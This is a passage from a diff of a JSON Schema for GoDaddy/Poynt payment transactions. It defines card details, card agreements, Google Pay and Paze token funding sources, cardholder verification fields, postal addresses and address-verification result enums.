was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "LegacyCardAgreementMetadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "LegacyCardKeyData": { + "properties": { + "id": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardType": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", + "properties": { + "cardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "cardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "cardHolderFullName": { + "description": "Card holder's full name usually picked from track1.", + "maxLength": 256, + "type": "string" + }, + "cardId": { + "description": "The uuid of the card created", + "type": "string" + }, + "encrypted": { + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" + }, + "encryptedExpirationDate": { + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" + }, + "expirationDate": { + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" + }, + "id": { + "description": "The id of the card created.", + "type": "integer" + }, + "issuer": { + "type": "string" + }, + "key": { + "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", + "items": { + "properties": { + "id": { + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + }, + "numberFirst6": { + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" + }, + "numberHashed": { + "type": "string" + }, + "numberLast4": { + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" + }, + "type": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } + } + }, + "title": "GooglePay Payment Token", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/paze-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Token Funding source", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the card used as funding source", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" }, - "description": "Provider verification fields." + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } + "title": "Address Details", + "type": "object" }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } }, - "batchAutoClosedByHost": { + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "title": "Token Verification Data", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type representing the type of verification data", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Verification Data", + "type": "object" + } + }, + "title": "Payment Token Funding Source", + "type": "object" + } + ], + "description": "Paze Funding source", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details of the card used for processing transaction", + "properties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details on how the card is used during transaction", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Interac Mac details of the Payment card", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "legacyData": { + "$defs": { + "LegacyCardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "LegacyCardAgreementMetadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "LegacyCardKeyData": { + "properties": { + "id": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardType": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", + "properties": { + "cardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "cardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "cardHolderFullName": { + "description": "Card holder's full name usually picked from track1.", + "maxLength": 256, + "type": "string" + }, + "cardId": { + "description": "The 